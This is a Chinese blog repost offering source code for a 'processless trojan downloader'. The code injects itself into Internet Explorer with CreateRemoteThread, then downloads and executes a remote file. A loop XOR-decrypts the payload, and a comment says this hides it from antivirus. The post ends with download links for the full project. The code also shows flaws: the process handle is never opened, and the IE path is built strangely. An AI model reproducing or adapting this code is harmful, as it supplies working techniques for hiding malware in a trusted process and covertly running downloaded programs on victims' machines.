VC无进程木马下载器源码(利用IE隐藏进程)

来源:互联网 发布:java网上报修系统源码 编辑:程序博客网 时间:2024/05/01 18:32

一、 打开半年前的一个工程,是利用IE来隐藏进程下载的实例,我想灰鸽子也是类似原理吧!

 

      下面是程序的主要思路:

 

      1.获取程序自身路径,启动IE进程

 

      2.获取到IE进程句柄

 

      3.分配内存

 

      4.获取进程映像的地址

 

      5.得到内存镜像大小

 

      6.确定起始基址和内存映像基址的位置

 

      7.写内存,创建线程,写数据

 

      8.建立远程线程并运行,关闭对象

 

 

二、下面是源码 ,举例下载迅雷而矣:

[cpp] view plaincopyprint?
  1. /* 
  2.     VC无进程木马下载器 
  3.     By: Kardinal and 寂寞的狼 
  4.     2009.3.10 
  5. */  
  6.   
  7. #include <windows.h>  
  8.   
  9. #pragma comment(lib,"user32.lib")  
  10. #pragma comment(lib,"kernel32.lib")  
  11.   
  12. //取消这4行的注释,可编译出2K大的文件  
  13. //#pragma comment(linker,"/OPT:NOWIN98")  
  14. //#pragma comment(linker,"/merge:.data=.text")  
  15. //#pragma comment(linker,"/merge:.rdata=.text")  
  16. //#pragma comment(linker,"/align:0x200")  
  17.   
  18. #pragma comment(linker,"/ENTRY:decrpt")  
  19. #pragma comment(linker,"/subsystem:windows")  
  20. #pragma comment(linker,"/BASE:0x13150000")  
  21.   
  22. //动态加载shell32.dll中的ShellExecuteA函数  
  23. HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int);  
  24.   
  25. //动态加载Urlmon.dll中的UrlDownloadToFileA函数  
  26. DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR);  
  27.   
  28. //建立远程线程,并运行  
  29. HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOIDDWORDLPDWORD);   
  30.   
  31. void decrpt();  
  32.   
  33. HANDLE processhandle;  
  34. DWORD pid;  
  35. HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用  
  36.   
  37. // 注入使用的下载函数  
  38. void download()  
  39. {  
  40.     hshell  = LoadLibrary("Shell32.dll");  
  41.     hurlmon = LoadLibrary("urlmon.dll");  
  42.     (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA");  
  43.     (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA");  
  44.       
  45.     //下载的文件自行调整  
  46.     DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL);  
  47.     SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5);  
  48.     ExitProcess(0);  
  49. }  
  50.   
  51. void main()  
  52. {  
  53.     char iename[MAX_PATH],iepath[MAX_PATH];  
  54.     ZeroMemory(iename,sizeof(iename));  
  55.     ZeroMemory(iepath,sizeof(iepath));  
  56.   
  57.     // 1.获取程序自身路径,启动IE进程  
  58.     GetWindowsDirectory(iepath,MAX_PATH);  
  59.     strncpy(iename,iepath,3);  
  60.     strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE");  
  61.     WinExec(iename,SW_SHOWNORMAL);  
  62.     Sleep(500);  
  63.   
  64.     // 2.得到IE进程句柄  
  65.     HWND    htemp;  
  66.     htemp = FindWindow("IEFrame",NULL);  
  67.     GetWindowThreadProcessId(htemp,&pid);  
  68.   
  69.     // 3.分配内存  
  70.     HMODULE Module;  
  71.     LPVOID  NewModule;  
  72.     DWORD   Size;  
  73.     LPDWORD lpimagesize;  
  74.   
  75.     // 4.进程映像的地址  
  76.     Module = GetModuleHandle(NULL);  
  77.   
  78.     // 5.得到内存镜像大小  
  79.     _asm   
  80.     {   
  81.         push eax;   
  82.         push ebx;   
  83.         mov ebx,Module;   
  84.         mov eax,[ebx+0x3c];   
  85.         lea eax,[ebx+eax+0x50];   
  86.         mov eax,[eax]   
  87.             mov lpimagesize,eax;   
  88.         pop ebx;   
  89.         pop eax;   
  90.     };   
  91.     Size=(DWORD)lpimagesize;   
  92.   
  93.     // 确定起始基址和内存映像基址的位置  
  94.     NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    
  95.   
  96.     // 6.写内存,创建线程,写数据  
  97.     WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);  
  98.     LPTHREAD_START_ROUTINE entrypoint;   
  99.     __asm   
  100.     {   
  101.         push eax;   
  102.         lea eax,download;   
  103.         mov entrypoint,eax;   
  104.         pop eax   
  105.     }   
  106.     hkernel=LoadLibrary("KERNEL32.dll");   
  107.     (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");   
  108.     MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行   
  109.       
  110.     // 7.关闭对象   
  111.     CloseHandle(processhandle);   
  112.       
  113.     return;   
  114. } ;   
  115.   
  116. // 解密函数   
  117. void decrpt()   
  118. {   
  119.     HANDLE myps;   
  120.     DWORD oldAttr;   
  121.     BYTE shellcode[500];   
  122.     ZeroMemory(shellcode,sizeof(shellcode));   
  123.     myps=GetCurrentProcess();   
  124.     ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);   
  125.   
  126.     //先把原代码,搬移到变量中保存起来   
  127.     _asm   
  128.     {   
  129.         pushad;   
  130.         lea esi,download;  
  131.         lea edi,shellcode;   
  132.         lea ecx,decrpt;   
  133.         sub ecx,esi;   
  134. en1:   
  135.         lodsb;   
  136.         stosb;   
  137.         dec ecx;   
  138.         jne en1;   
  139.         popad;   
  140.           
  141.     };   
  142.       
  143.     //解密搬回   
  144.     int i;   
  145.     for (i=1;i<=0xFF;i++)   
  146.     {   
  147.         _asm   
  148.         {   
  149.             pushad;   
  150.             lea esi,shellcode;   
  151.             lea edi,download;   
  152.             lea ecx,decrpt;   
  153.             sub ecx,edi;   
  154. en2:   
  155.             lodsb;   
  156.             mov ebx,i;   
  157.             xor al,bl;   
  158.             stosb;   
  159.             dec ecx;   
  160.             jne en2;   
  161.             popad;   
  162.               
  163.         };   
  164.           
  165.         //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.   
  166.         __try   
  167.         {   
  168.             main();   
  169.             return;   
  170.         }   
  171.         __except(EXCEPTION_EXECUTE_HANDLER)   
  172.         {             
  173.         };   
  174.           
  175.     }   
  176.     return;       
  177. }  

 

三、工程及源码下载地址:

 

      http://download.csdn.net/source/1546155

 

      http://www.rayfile.com/files/77ea8ad9-80ff-11de-aeb2-0014221b798a/

 

 

0 0
原创粉丝点击